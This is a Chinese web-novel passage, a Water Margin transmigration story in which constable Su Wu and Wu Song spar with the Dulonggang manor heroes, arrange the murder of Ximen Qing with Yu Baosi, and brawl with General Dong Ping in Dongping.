薛嫂也说:“官人便是再急着想要那孟玉楼,也当让人睡个安稳觉才是啊……” “你不是说有什么计策的吗?”西门庆问道。 “嗨……这事啊……嘿嘿……”薛嫂立马来了精神头,只管看着西门大官人。 大官人哪里能不懂,袖子里掏了掏:“夜半出门,带得不多,只要计策好,下次多补你一些就是。” 薛嫂接过钱来,倒也不嫌少,只说:“下次大官人可记得补才是,其实也简单,人都活张脸,他们一个寡妇,一个衙门糙汉,这事吧……西门大官人麾下小厮帮闲一大堆,只管让人去传就是……” “传什么?”西门庆还问。 “就传……那苏都头仗势欺人要霸占杨家的产业,传那孟玉楼背后偷了荤腥,怎么难听怎么传就是……”薛嫂说得直白。 西门庆陡然醒悟不少:“嘿,还真是不错的办法,虽然要不了他的命,但也能让他名声扫地。” “官人聪慧啊,只待县里传言起,那孟玉楼岂能不避嫌,那苏都头又岂能还敢往那孟玉楼的家中去,到时候,老身再出马,便是媒妁之言,大官人更是明媒正娶,如此,她孟玉楼也解了那些难听的名声,大官人自是坐享其成,她孟玉楼还要谢谢大官人不嫌弃她名声扫地呢,岂能不好生伺候着?” 薛嫂说得兴起,好像好事已然就成。 西门庆倒也听得开心,这办法还当真不错,只管点头:“钱好说,你只管把事情办妥了。” “行了,大官人回吧……”薛嫂还要去补觉。 西门庆却不走:“在你家多坐坐,坐到天亮就走。” 薛嫂连忙后退两步,双手捂胸:“只听得大官人花名在外,您不会是连老身都想……” 西门庆一脑门的汗:“说什么呢!只管上一些茶水吃食来,老娘皮你倒是想得美事……” 薛嫂便又笑了笑:“大官人不经逗弄……” “去去去……”大官人气不打一处来。 只待天色亮起,西门庆出门去,先往生药店里交代了一些事,再是连忙出城往南走,百十里外去郓城,便也是去那八百里水泊梁山。 此番赶路,便是更快,奔命之时到了,若是再不成事,当真是家都不敢再回,还想什么孟玉楼,还想什么那万贯家财? 大早苏武也往衙门里去交代董坚一些事情,带着武松,骑着两匹衙门里的马,出城便是往东,直奔东平府去。 东平府,其实就是郓州,近些年才改的名。 而郓城在东平府治所之南,阳谷在东平府治所之西。 阳谷再往西,就入了大名府境内,大名府城也不远,那里几乎就是整个大宋北方的经济与军事的中心之处,也是大宋朝的北京城,阳谷县就是这么个交通要道。 大名府里也是故事多,那里有大名鼎鼎的蔡京女婿梁中书,还有一个棍棒无双的河北玉麒麟卢俊义。 苏武带着武松赶路,马匹也快,临近中午,只说找地方落脚休息进食。 便问武松:“再往前是哪里?” 武松答道:“哥哥怎的不知?往前就是独龙岗了,那里去歇一脚正好。” 独龙岗? 原来前半部水浒故事,还真就是就近发生的。 独龙岗前,有三个有名的村庄,一个祝家庄,一个扈家庄,一个李家庄。 苏武打马过得独龙岗,三个村庄品字形排在视野远处,庄子建造了土墙围成了堡寨。 庄外自是良田一眼望不到边,为何要把村庄造成堡寨? 自也就因为这庄子外良田无数,富庶之地,就怕贼人惦记着,自然要自保。 白日里,三家堡寨也开门,本也是官道通路,来往客商无数,做些来往商旅的歇脚住宿生意,三家也能赚得不少钱。 正中是那祝家庄,左右是扈家庄与李家庄,这三家人,在江湖上也有大名。 扑天雕李应是个人大名在外,祝家庄是实力最强,老太公下三个儿子算是不错,养的庄客就有近两千人,其中还有一个教头叫作栾廷玉,最是了得。 扈家庄自是势力最小,如今兄妹二人,一个兄长扈成,一个妹妹扈三娘。 当然,这三庄还立下盟约,同进同退,便更是固若金汤,寻常哪里有贼寇敢来惹事? 看着眼前三庄,武松问:“哥哥往哪边去?” 苏武左右一看:“扈家庄去。” 二人打马就去,扈家庄也最小,也稍远,平常里商旅生意也差一些,将来便是个满门丧尽的结局,只留一个一丈青扈三娘独自苟活于灭族之人手下。 到得这里,苏武便是再不去想,也不免想到了那些梁山贼寇,虽然其中不乏一些忠义之辈,但整体而言,做起事来,当真是没有下限。 入得庄子,庄子也小,拢共一条大路,酒肆不用寻,点了菜,上了酒,武松是必须要尝一口酒才算吃饭的主。 苏武倒是不多饮酒,正是吃着,就看一队人打马入庄来。 头前一个,竟是女子,腰间左右各别着一柄长刀,马匹直奔酒肆门口来,毫不减速。 只等到得门口,缰绳一拉,马匹迎头站起,唏律律一声,便是急停落地,那女子一身细腰窄袖劲装在身。 翻身下马,苏武早已猜到来人是谁,只是也有小小惊讶,大宋真有一米八的女子,难怪叫个“一丈青”。 只看她身材健美修长,模样里带几分英武之气,剑眉星目,却又是俊秀在脸。 飒爽! “来酒来菜!”扈三娘进门就坐,身后一票大汉跟随而来,便坐左右。 “小姐稍待,马上就来。”小厮高声答着,喜气洋洋。 就看苏武这边一直打量过去,扈三娘也感觉到了,便也不是扭捏模样,也回头打量过来。 苏武笑了笑:“好生英武。” 扈三娘双眼带笑,是一种爽朗气质,便似男人般拱手:“客气!” 可惜了,可惜这般姑娘,最后竟是个苟活于世,面对灭门仇敌,却也无可奈何,还要嫁个矮脚虎为妻,最后死得也是凄惨。 “可是扈家三娘?”苏武拱手也问。 “正是,不知当面好汉尊姓大名?”扈三娘也问,便是见得苏武与武松二人,身带利刃,门外有马,还高大健硕,自是江湖人了。 “阳谷苏武。”苏武笑着答。 “嗯?”扈三娘眉头一挑,左右一看,便问:“阳谷都头苏武?那景阳冈上夜半独自猎大虫的就是你?” 谁说名声没用? 苏武便说:“倒也不知这点小名声,竟也传得远呢。” 扈三娘笑道:“这才多远,这不就五六十里地吗?咱们这里来往客商多,哪个不说阳谷县的苏都头是好汉?哪个不感谢都头把道路畅通了?前些日子,那大虫害人的时候,咱们这里可也是门可罗雀……” “三娘真是会夸人呢……”苏武笑着。 却见扈三娘起身来,近前就说:“既有如此缘分,请苏都头同坐饮两杯如何?” 第23章 三两下的事 扈三娘如此爽快,苏武自然不矫情,只是扈三娘那边大汉好几个,已然坐满。 就看立马也有人听得扈三娘的话语准备起身让座。 苏武便直接说道:“那就把两桌一拼,三娘以为如何?” “如此甚好。”扈三娘便是回身抬手一招,显然那些大汉都是她家庄客。 几个大汉忙碌几下,桌子拼好,众人落座,主人家扈三娘毫不避讳,与主客苏武坐在一处。 “三娘一身好武艺?”苏武闲聊问着。 扈三娘当真把头一扬:“自小习练,日月双刀,左近鲜有敌手,倒也不知都头武艺如何?” 苏武只答:“我在兵刃之道只算初学,散手相扑之道,倒是有几分手段。” 却是武松插了一语:“我家哥哥,散手相扑技艺,世间绝顶的好,那些什么江湖好汉,十个加起来比不上我家哥哥一分。便是兵刃之道,我家哥哥也学得快,要不得多久,我家哥哥定然也是绝顶的好手。” 苏武听得这话,甚至觉得有些尴尬,武松如今着实骄傲,也是他如今江湖好汉见得多了,在武松看来,每每都是名不副实,自然对这个群体有了一种鄙视鄙夷。 特别是如今苏武已然有了搏命杀人的经验,多了几分血性悍勇之后,武松更觉得自家哥哥真与人拼起命来,必然不比以往。 扈三娘闻言还真愣了愣,自吹自擂这种事,也算是江湖人的正常操作,但自吹自擂到这个地步…… 要么呢,真就是绝世高人,要么呢……那就是没见过世面。 当面这两位,是绝世高人呢?还是没见过世面呢? 以名声而言,再看两人模样,看起来不像是没见过世面。 扈三娘便是大手一挥:“独龙岗上有祝李扈三庄,都最是喜欢结识各路英雄好汉,苏都头与这位……” “在下武松!”武松抬手一拱。 “苏都头与这位武松兄弟既然到了此处,岂能不都结识一二?”扈三娘问的是意见。 苏武想了想,说道:“倒是有急事往东平府去,怕是不便多耽搁。” 武松却又是那神采飞扬的模样:“哥哥,耽搁不得多久,三两下的事,咱午晌加快一些脚步就是,天黑定能赶到东平府。” 苏武摸了摸额头,这年轻人…… 扈三娘不等苏武再多言:“好,吃酒吃酒,就此说定,来人,速速与知会李庄主与祝家三兄弟,教他们食罢便来,就说阳谷县苏都头前来讨教。” 什么鬼? 你是这么一个扈三娘?谁来讨教了? 也是武松说话实在是不太好听,他只当是实话实说,那“三两下的事”这句话听到人家耳中,人家又岂能客气? 就看武松那神采飞扬的模样:“切磋一二,好说好说。” 武松神采飞扬到一半,转头又开看苏武:“哥哥……” 苏武还能说什么呢?只道:“行吧行吧,不过头前先说好,若是再留吃酒,你定然不能随便应了。” 苏武都猜得到之后的事,江湖好汉,真切磋一番,发现大家都不是水货之后……那还能跑得了这顿酒吗? 武松只管点头:“哥哥放心,定不误事。” 武松,还真就是天生的江湖汉。 就看几员大汉出门去,打马左右飞奔就走,摇人去了。 这餐饭也就吃得快了,酒也不多喝,浅尝辄止,就是个礼节,唯有武松多灌了几口。 吃完,扈家庄小小的校场之上,只等片刻,一队快马就在入庄,又是一队快马再入庄。 可见平时里,这三庄还真走得很近,关系着实不差。 扑天雕李应,年岁稍长,一身裘皮大氅,鼻目当真如鹰隼一般。 祝龙祝虎祝彪三兄弟,一个个虎背熊腰。 扈三娘的兄长扈成也到了,倒是显得有几分实诚人的模样,不比妹妹外向。 他们之间,自是互相打招呼,这个喊三娘,那个喊兄弟。 只待扈三娘来介绍:“这位就是阳谷县那打虎的苏都头,散手相扑绝技世间罕见,那位是他兄弟武松,好似散手相扑与诸般兵刃,样样来得。” “幸会!” “见过见过!” 众人只管一通拱手,好似这般场面,在三庄里,经常发生。再看小小校场周围,已然满满都是三庄的庄客。 扈三娘笑意盈盈看了苏武一眼,便左右问:“谁先来?” 苏武也明白了,扈三娘是今日的主持人。 却看一个十七八的少年郎两步就出:“我来与苏都头讨教一二,苏都头不是擅长散手相扑吗?我虽使枪,但散手技艺也是擅长。” 祝家庄祝彪,苏武立马好似想起了什么,祝彪与扈三娘似有婚约,也不知道此时婚约是否已定,至少在宋江带梁山兵马来打祝家庄的时候,两人已然有了婚约。 再一想,宋江来打祝家庄这件事,应该至少发生在两年之后。 苏武在想这些事,祝彪便是又叫了一声:“苏都头……” 苏武回过神来,也就知道小伙子要表现,便是走向校场:“祝兄弟,请!” 就看武松喊:“哥哥莫要踌躇犹豫,只管使力气下狠手。” 祝彪已然撸胳膊卷袖子了,站定了架势。 苏武倒是不慌,前后脚也站定,拳也一前一后,这种空手格斗的技艺,在大宋,分散手与相扑。 散手成型在唐,也叫唐手,大概就是徒手格斗之意,这门唐手,后世日本依旧传承,便是空手道的由来。 相扑真正成型在宋,更类似于一种摔跤之法,后来也传入了日本,后世变成了一种两个大胖子推搡摔跤的技艺。 此时此刻,大名府里倒是有一个叫做燕青的好汉,便是以相扑技艺闻名。 散手也好,相扑也罢,加在一起,换个更时髦的词汇,那就是无限制格斗,管你是拳脚还是膝肘,亦或者是摔跤,手段只管使就是。 就看场中两人,忽然同时猛的向前,倒也没什么试探,真就是硬桥硬马干了起来,拳脚来去呼呼作响。 武松也喊:“哥哥,干他就是,莫要留手。” 便是武松还是看出了苏武心中有那几分心慈手软,至少在武松看来,是心慈手软。 但在苏武看来,毕竟是切磋…… 几个回合来去,苏武便立马感觉到了祝彪在空手格斗上,与武松差了不少。 换句话说,苏武竟感觉自己有些游刃有余。 祝彪,倒也是力气极大,会的技艺也不算少,只是也有一个缺点,祝彪此时也并没有那般血性的凶悍。 苏武会得极多,便就想在祝彪身上试试。 就看苏武猛的一沉肩膀,往前一扑,双手飞快搂住祝彪的腰间,往上一使劲,祝彪便是腾空而起。 只等祝彪一落地,再看苏武,再猛的一扑把祝彪压在身下。 说时迟那时快,便看苏武先双手拿住祝彪的一只手,立马再把一条腿往祝彪脖颈之间伸去,另外一条腿压在祝彪胸腹之上,身形往后一倒,挺胯。 武松看得真切,便是一声大喊:“着!成了!” 祝彪反应也快,正要挣扎,却是一挣扎,手臂关节便疼得撕心裂肺。 武松已然向左右说道:“如何?我家哥哥这般技艺如何?你们怕是见都没见过。” 这就是上次苏武与武松切磋打斗的时候,没有做成功的十字固,今日才见得完全的模样。 祝彪更是挣扎,苏武把胯挺得更高,把祝彪的一条手臂控制得牢牢。 武松还在一旁说:“祝彪兄弟,你别挣扎了,此乃绝顶的擒拿之法,你已然被拿住了,越挣扎越疼,莫要闹个手臂脱臼了,胜负已分,哈哈……我家哥哥着实了得!” 就这一番话,还有武松那神采飞扬的模样。 左右众人,皆是一脸的黑,满场庄客,更是震惊不已。 唯有扈三娘眉宇之间竟是有几分喜色。 祝彪早已疼得是龇牙咧嘴,偏偏却又不说什么软话,显然是扈三娘当面,他非要挺着。 还是苏武先松手,只道:“祝兄弟一时不备,我实在侥幸。” 这话倒是也有面子,祝彪起了身,吊着一条胳膊,左右看了看,也不多言,回身往后站去。 武松已然迫不及待,往校场一站:“我家哥哥一场,我来一场,急着赶路,速战速决,谁来?” 第24章 杀人好! 就看武松在场中喊着。 祝龙祝虎祝彪三兄弟中,最强其实是祝彪,不过这三兄弟的技艺主要在枪棒之上,便是身后有一个极其厉害的枪棒师父栾廷玉。 如今祝彪已败,祝龙祝虎倒也没那么好勇斗狠,便也是觉得今日两位来客,着实不一般,便没急着说话,祝彪手伤,也上不了。 扈三娘自是一马当先往前:“我来会会你。” 却是扑天雕李应伸手拦了一下:“三娘,你怕不成,还是我来吧……” 扑天雕李应,未来梁山第十一把交椅,他擅长经营,但武艺着实不差,此时已然在江湖上名声显赫。 说着,李应脱了裘皮大氅,走到场中,庄客递来一杆浑铁点钢枪,又在李应身后系上一个皮袋子,皮袋子上插着五柄小飞刀。 倒也是磊落,都让武松先看清楚。 武松毫不在意,他只把一柄大朴刀扛在肩膀上,这柄刀还是郁保四的那柄刀,刀着实不错。 却是武松有话语:“李庄主,我可不比我家哥哥,我那哥哥心善,我动起手来,可只管一通打杀的……” 武松只以为是话语说在前头,免得之后不好看。 李应听来,岂不就是一种看轻? 便看李应迈步就去,点钢枪抬手就刺。 武松只管大朴刀抡起就砍,刺来的枪,他只是身形微微一偏就躲过去,只差之毫厘,观战之人看来,便是极其凶险。 当真是胆大非常,却又更是自信无比,否则哪里敢做这种犯险之举? 若是稍稍慢得半分,那长枪只怕就给武松捅个对穿了。 这大概就是武松理解的血性悍勇,也是他口中所言的血性悍勇,动手就是拼命的感觉。 李应一刺不中,见得那朴刀就来,连忙就地来滚。 滚完,又是连忙回头去看,便是知道此时已然一招不慎落入下风了,那武松必然追击而至。 倒也奇怪,武松不曾欺身而上,竟还说话:“拿点真本事来!” 武松当真是……好会……装逼。 难怪他在柴进府中混了个人厌狗嫌……柴进府中,收罗的都是各地作奸犯科之辈,都靠着柴进活命。 武松就这般话语来去,那些江湖好汉在人家主人面前,哪里还有脸面?岂能不排斥武松? 苏武也看向左右,却见左右之人并没有了那般黑脸生怒的模样…… 也是,这里可没有什么主人要去讨好,众人都是江湖汉子切磋武艺,反倒单纯许多,武松这般模样,便还真是个好汉该有的样子。 李应挺枪再来,倒是保守许多了,一杆长枪舞得密不透风,与那大朴刀叮当来去。 “好!独龙岗上三庄,还真是名副其实。”武松真也夸人,人家真有本事,他也不会不认。 只是武松话语一落,就看他立马变招,大朴刀抡个浑圆,便是拼一把浑身巨力。 李应立马横枪来挡,“噹”是一声,便觉得身形一顿,手臂一阵发麻。 再看武松,已然起脚飞踢而来,武松武艺,样样绝顶,便是拳脚之上尤为狠厉。 李应已然应声往后去倒,连连几步踉跄,还是稳不住身形。 武松此时不再多等,欺身跃起再来! 就听“嗖嗖嗖”几声…… 武松人在半空,看得飞刀三点寒光,却是在半空之中也能身形扭曲左右,便是喊道:“又快又狠,好飞刀!” 只可惜,连连三刀不中,武松落地已然站定了。 李应坐在地上,手还在背后皮袋之处,只是剩下两刀便也不发,只说:“武松兄弟这般武艺,实属罕见。” “你还有两柄飞刀呢……”武松问道。 “你在空中都中不了,站定了身形,便更中不了。”说着李应起身来,拱手一礼:“见识了,这般武艺,怕是只有栾廷玉栾教习才可比肩。” 祝彪闻言,只说:“我这就去请教习来。” 苏武立马说道:“来日再会,还有急事赶路,得了闲暇,定来赴约。” 就怕是这么一个没完没了。 武松看了看哥哥,也说:“对对对,这里有好汉,往后定然常来。” 祝彪便也不回头去了,就看苏武当真要走。 扈三娘带着眉宇间的喜色问了一语:“当真有这么着急的事吗?便是再比一场,吃顿好酒,明日再去,不可吗?” 苏武答道:“事关生死,不可拖沓。” 扈三娘眉头一皱:“苏都头这般名声,竟还有人与你为敌?我等三庄之人,最是急公好义,江湖好汉,路见不平拔刀相助,苏都头可知会一二?” 祝彪听得扈三娘之语,便也立马说道:“是啊是啊,咱有兵有马,哪里贼寇,怕得了他?” 连李应也说道:“能帮得上,定然帮一帮……” 此时此刻,这些话苏武听来,虽然知道有些是真心,有些是场面,但不免也真觉得,这江湖人江湖事,其实也挺好。 苏武摆摆手:“倒是也能应付得来。” 武松更是大手一挥:“我兄弟二人,兵来将挡水来土掩,自不怕人。” “那……”扈三娘便是知道留不住了,只问:“什么时候再来?” 苏武想了想:“近前无有闲暇,只看一两月后吧……” 说着,便也往马厩去,是真要赶路了。 就看苏武翻与武松翻身上马,左右一拱手:“今日有幸,识得诸位,来日定来叨扰,告辞!” 众人也是拱手回礼,马匹已去。 扈三娘看着马匹去的方向,只说:“未想竟真是这般了得。” 祝彪稍有几分落寞说道:“怪我学艺不精,来日定当再勤学苦练!” 扈三娘忽然左右一说:“既然苏都头近来忙碌,不若寻个时间,咱们去阳谷县坐坐?” 李应已然点头:“既是这般好汉,又是阳谷县都头,本就临近,倒也可以走动一二。” 祝彪更是点头:“便请我家栾教习一起去。” “那就说定……”说着,扈三娘还往大路上去看,却哪里还有身影? 路上,武松也是情绪高涨:“哥哥,还别说,独龙岗上还真有好汉,就是今日事急,不然真与他们一一比斗一番才好罢手。” “有机会的……”苏武说着,也回头去看那独龙岗,这里要粮有粮,要钱有钱,要人有人,还是要道之处,怎么能不起心思呢? 两年之后,那梁山宋江,就因为并不熟识的时迁等人偷了人家一只鸡的事,便大军来打,连打三次,杀得个天昏地暗,为的是什么? 这事,苏武已然下定了心思,定然不能让惨剧发生。 “哥哥,入了东平府,咱们怎么做?”武松在问。 “先寻郁保四,他可应了我一桩杀人的事!”苏武眉宇一狞,腰刀在身,杀心已起。 “杀人好!”武松又只管点着头。 (兄弟们,新书期,每日两章没办法,只等上架,必然多更,请大家一定追着看多投票,否则这新书怕是前途未卜,拜谢了!) 第25章 看什么看? 东平府城,比阳谷县雄伟不少,城墙垛口井然有序,青砖包裹,修缮得整整齐齐。 便是那城楼也显得威武雄壮。 苏武与武松两人黄昏而入,这个时候衙门差不多要开始下值,此来东平府也是有公差,公差就只能明天了。 先往车马行去,车马行这个时候正是忙碌收班,苏武穿过车流人群,直往那铺面里去。 “去把郁保四叫出来。”这自然是武松的话语。 铺面里忙碌的掌柜小厮不少,皆是抬头来看,有那壮汉上前来一打量,倒也客气:“不知……” “就说他阳谷县的爷爷来了。”武松对郁保四,还真是记仇。 那壮汉面色一沉,却也不发作,主要是武松扛着的那柄大朴刀过于眼熟,但也不答话了,只管转身往后面去。 片刻,壮汉回头来,黑脸换了笑脸:“快请快请,往里借一步,请。” 穿过铺面就是院子,就看郁保四一瘸一拐从厅堂前往这边来。 苏武摆摆手:“你就别来迎了。” 郁保四也是笑脸,坚持还要往前走几步。 只在厅内落座,武松看着两米多高的郁保四,只道:“那夜我刀不利,也未加打磨,只是稍稍砸伤了筋骨,皮肉倒也还好吧?” “还好还好,血流得不多……”郁保四连连点头,便也示意旁人出去。 如此,郁保四才问:“不知都头此来何事?” “杀人的事。”苏武答着。 “哦……不知都头要杀何人?”郁保四接着问,却也皱眉了,这般人物,惹上了,就脱不了身了。 “谁好杀,自然先杀谁。”苏武倒是云淡风轻。 郁保四稍稍一想,只答:“那个什么……西门庆,好杀。” 这不就对了吗?苏武有一脸欣慰与认可的表情。 武松也笑:“嗯,你还算上道。” 郁保四倒是忽然面色轻松了不少,本是有一些纠结犹豫,但做下决定了,其实轻松。 “那你帮我出个主意。”苏武再问。 郁保四还就真有主意:“小人寻个由头把那西门庆邀约在城外,便是乱刀砍死,倒也简单。” 苏武更是欣慰:“这主意不错,甚合我意,这主意可是你出的,还是由你来做?” 郁保四一咬牙:“行,此事小人来办,此事过后,小人与苏都头的恩怨,可否一笔勾销?” “好说……”苏武大手一挥,起身准备走。 “那……什么时候动手?”郁保四问。 “等我消息就是。”苏武头也不回就去。 郁保四看着苏武背影出门去,便是叹了一口气,也在想自己这么选对不对? 苏武这般人物,必非池中之物,如此也算交好吧? 也不过是杀个卖生药的西门庆,又不是杀云理万,应该也不算什么事吧? 苏武二人出门去,牵着马,准备找个地方先投宿。 武松便问:“哥哥,他行不行啊?” 郁保四在武松心中,实在不可信任。 “且不管他行不行,但这件事定然要做成,他来动手,咱们自也当压阵。”苏武第一次主动谋划杀人之事,那是谨慎非常,小心翼翼。 “他不会转头把咱们卖了吧?”武松倒是想得多,这是好事。 “所以啊,还要防备一手,要么就是一网打尽,要么就是收他这个小弟。”苏武显然也早已想得透彻。 “哦,他若纳了此般投名状,收他也不是不可。”武松点着头。 两人在街上走着,倒也不着急,反正无事,先往府衙去,便是认认路,明日早间方便,也是逛逛街,寻家好店,也住近些。 刚到府衙门口,就看一个身穿甲胄的汉子骂骂咧咧从里面出来,左右随着七八个军汉,还抬着不少东西一同从衙门里出来。 起初还听不清骂什么,只待近了些,隐隐约约就听那汉子骂道:“当真狗眼看人低,还瞧不上某了?” 身旁军汉便说:“知府相公是文官,自是看不上咱们这些武夫……” “哼!”那军将出得门来,走在街上,手中还拿着马鞭,便是在空中挥舞几番,好似真有一口恶气发不出来。 苏武正与武松牵着马在路边,道路本也不算宽,见得头前这一队人过来,苏武还转身去稍稍驱赶了一下自家两匹马,便是给那军将让路。 如此,再去看那军将,其实就是在想,这人……莫不就是东平府兵马都监董平? 果然,有那军汉说道:“董将军,要不咱就不想这事了,女子多的是,何必偏偏非要知府相公家的?” “怎么?不行啊?某就要娶个相公家的读书女子,有何不可?就某这身武艺,待他要用某的时候,且看他如何来求!” 那军将边说着,又是把马鞭左右挥了挥。 说话间,那军将就要走到了苏武面前,苏武此时已然猜得八九不离十。 还真就是东平府兵马都监,双枪将董平,寻常军将又哪里能轻易出入府衙? 这董平看上了知府程万里家的女儿,便是百般求娶,人家程万里正五品的文官,大宋朝到得如今年月,怎么可能把自家女儿嫁给一个麾下武夫? 刚才只怕是又被程万里回绝了,董平岂能爽快? 故事里,董平投了梁山之后,第一件事就是转头骗开东平府城门,冲进来就杀了程万里一家老小,然后把程万里的女儿抢了去…… 这些事吧,真是没法说…… 所谓梁山好汉,太多是这种没法说的事了。 只看董平走得过来,见苏武频频来看自己,便是怒目一瞪:“看什么看?” 倒也是苏武真的多看了几眼…… 苏武只觉得这董平实在是性格怪异,神经病一样,便回了一语:“看都看不得?” 就看董平手中马鞭忽然挥起,照着苏武脑门就抽。 苏武反应极快,一抬手,稳稳就抓住了董平抽来的马鞭,只问一语:“董将军是这般不讲道理的人?” 董平把马鞭一抽,再看苏武:“嘿!你还真知道是某家,你还要与某家讲道理?” 说着,董平左右一摆手,示意众人退一些,让个空地来,他架势一摆,对着苏武抬手一招:“来,看你也是有几分武艺在身的人,就看看你有没有讲道理的本事。” 真他妈碰上神经病了! 其实,来的时候,苏武还想过把主意打在董平身上,想的就是从云理万的顶头上司董平身上解决问题。 如今这局面,这条路怕是走不通了,董平就不是那种有胸怀的人,得罪了就是得罪了,不可能还有什么一笑泯恩仇的事。 既然如此,苏武心一横,那就往死里得罪了,便是袖子一撸,脚步一站:“董将军当真是欺人太甚。” 为何苏武这么说话?便看街面,正是黄昏时分归家的时辰,有那知府衙门里的诸多官吏公人正往外走,街面上百姓也多。 已然都是驻足在看,既然看的人多,那苏武便要占个理。 “这厮还敢聒噪,竟是当真要与本将动手,你们且看看本将是如何教训他!”董平似乎也等着众人来看,便是一身绝顶的武艺在身,平常也没有地方炫出来让人看。 那什么狗屁知府相公看不起他,他偏偏就这身武艺值得称道,且让众人都看个清楚明白! 说着,董平挥拳上前就打。 第26章 精彩精彩! 武松已然在旁开口就夸:“哥哥好骨气!” 武松是夸得真心,他就喜欢这样的哥哥! 也是苏武如今,对自己越发自信,兵器之上他还只算开始接触,空手来打,他便是谁也不虚。 就看董平挥拳打来,也是面门,苏武身形带着步伐摇闪而过,也挥拳就出。 董平便是面带惊讶,后仰去躲,腿也踢起。 苏武抬膝就挡,挡得身形稳稳,还能再挥拳去。 董平立马抬小臂也挡,沉肩就往苏武胸口顶去。 苏武侧身一让,摇闪极其奏效,让董平顶了个空,再挥肘去砸董平脖颈。 董平举手再挡,一挡一砸,董平倒是稍稍不稳,去了一步站定。 “哥哥打得好!”武松着实惊喜,便是觉得自家哥哥越来越有那几分血性悍勇了。 “这汉子还真有好武艺呢,能与董将军打得来去。”人群中也不知是谁如此一语。 便又有人接:“倒也不知是哪里来的汉子,咱城内好似还没有这般人物。” 董平哪里听不到这些话语? 本是正要拿个人出出气,更是要炫一炫自己这一身无双的好武艺。 只待打得这汉子跪地求饶的时候,便是抬头挺胸扬长而去,好教知府衙门人人都看清楚,也好教那知府相公程万里知晓知晓…… 也是程万里来得晚,才刚刚来赴任不久,上一任知府叫做陈文昭,陈文昭对董平就看重得多。 只是陈文昭年岁大,没有适龄的女儿待嫁。 其中,自也是以往陈文昭知道董平武艺绝强,而这程万里却只当他是个军汉武夫罢了。 此时炫耀不成,好似还被人看轻几分,董平自是越发恼怒。 就看董平飞身就踢,一条长腿如钢鞭一般扫来。 苏武直接往后一跃,堪堪躲过,心中也知,这般来去踢打,董平当真是个高手,两人怕是难以轻易分出胜负,打来打去,只怕打得两人都满身是伤。 那就换招式,只等躲过一腿,苏武沉身往前,就去搂抱。 搂抱就是为了摔拿,苏武一把抱住董平的腰间,使力想摔倒董平。 却是董平不比祝彪,当真马步一扎,竟是一时不倒,反而抬拳头去砸苏武的背。 苏武立马换了目标,双手一松,就去抱腿。 董平反应极快,来不及砸,只是连连把腿往后迈,不让苏武抱实,知道若是让苏武抱实了,必然人仰马翻。 此时此刻,董平才当真知晓,这个汉子必然不是寻常人,不仅力气极大,还眼疾手快,技艺更是上佳。 就看董平连退几步,用手奋力推了一把苏武的肩膀,脱身后跃。 “好汉子!” “了不得了不得!” “精彩精彩!” 已然有人又在夸,董平自然知道不是在夸自己,便是怒意更甚,左右也一喊:“取我枪来!” 双枪将董平,枪才是绝技! 就看那军汉飞快往前跑去,前头拴马石上一排好马,马侧有勾,勾上放着长枪,长枪在肩,扛着就来。 董平枪在手,左右一看,便是怎么也要在今日立一番威风! 苏武也不托大了,只管一声:“二郎!” 武松大朴刀双手一握,站在头前:“你这厮欺人太甚,我家哥哥还能让你欺辱了不成?” 武松说话也收了几分,这不比江湖,而是草民遇到官,又在城池里,下意识里少了几分放肆。 董平也不管头前是谁,只管长枪就来,迅捷无比。 一杆枪在刺,却好似寒芒点点如雨,好似枪也能使出幻影,当真是绝技。 武松却不管那么多,只管朴刀大力,横来截击,更也是眼疾手快。 噹得一声去,董平长枪就偏,却是偏过去,顺势又转身抡来。 武松横刀再挡。 又是一声爆裂,武松竟是也身形稍稍一震。 就看左右七八个军汉喝彩:“好,将军好武艺!” “好枪法!” “将军这手长枪,只怕天下无敌!” 董平当真也是骄傲自信之人,若不是那般过于自信,也不至于后来被梁山贼寇给擒了去。 就看自信的董平,还要左右去看人,要看的就是那些崇敬崇拜的目光与表情。 “二郎小心!”苏武此时也起了担忧,董平还真不是寻常人。 “哥哥放心!”武松看着那耀武扬威的董平,便是一口吐沫在地。 再看武松,忽然眉宇狞在一处,凶光在眼中闪烁。 这回,武松先动了,大朴刀不似有什么精妙,只管大力劈砍去,连带整个身躯都腾空而起,便是十分的力气使去了十二分。 董平眼光一扫,脚步稍稍一动,挺枪就去,便是知道自己枪头精准,敢在他面前腾空起,便是自寻死路。 因为身形腾空就不比双脚站实,少了太多闪转腾挪的余地。 却又哪里知道,武松武二郎,步战可无敌,鲜少有人步战能与他比肩,真要算起来,兴许出身西北军中的提辖官鲁达算一个。 就看武松核心力量无比强横,空中辗转毫不拖沓,无比精准的枪来也能躲,大朴刀重重劈砍而下。 董平看得是目瞪口呆,好在枪尾就在双手,连忙举起放在肩膀之上。 那大朴刀势大力沉,就砍在董平肩头,那混铁枪尾,被砍得火星四溅,火星甚至都溅到了董平的耳朵里。 董平先不觉得哪里疼痛,只感觉身形一矮,竟是单膝已然跪在地上了,此时此刻,他才知晓,眼前这个朴刀汉子,何其骇人! 武松一招得先,更不饶人,手在压朴刀,绝技鸳鸯脚也往董平胸口去。 董平早已是大惊,使尽浑身力气先要起身,便是那柄大朴刀如泰山一般压在他肩头,一时起不来,又看腿踢来。 便是两眼稍稍一黑,身形倒飞,摔得几个跟头才堪堪止住。 胜负已分。 “二郎打得好!”苏武也觉得解气。 左右更是有人喊:“好武艺,这两个外来人当真顶尖的好武艺。” “董将军竟也会败,当真不可思议!” “好生骇人。” 众人话语来去,只看那七八军汉,只有个面面相觑,实在不敢置信,谁人不知道东平府双枪将董平的威势?竟是还能发生这种事? 就看董平起身,忍着胸口憋闷,更是怒火中烧,只喊:“取两匹马来!” 董将军,马战才是他真正倚仗之强,打到这个地步,当真是颜面丧尽,怎么也要把这脸面争回来。 两匹马,便是想着武松一匹,他董平一匹,就要在这城内知府衙门门口街道上打马冲刺,非斗个你死我活不可! 第27章 可都坐得实? 苏武只觉得这真是碰上神经病了,真是个没完没了。 苏武开口了:“董将军,我乃阳谷县都头苏武,此乃我兄弟武松,本是奉命公干,何以如此咄咄逼人欺人太甚?” “管你是谁,今日就是个不死不休!”董平显然暴怒非常,本就偏执阴暗的人格里,更少了几分理智。 只是左右军汉,并未当真去牵马匹。 这城内街道,知府衙门面前,是能打马厮杀的地方吗?且不说左右围观众多,就算没人,这小小街道,撒得开马蹄与兵刃吗? 再说,哪里有将军当真在城池里与公差死斗杀人的? 真若出了事,何以收场? 难道真让知府相公拿下大狱去审?还是奔逃出走再也不归家乡? “还不快去!”董平一声呵斥来。 左右军汉皆是一脸苦色,只有一人开口说:“将军,要不邀约明日往军营校场去斗?” 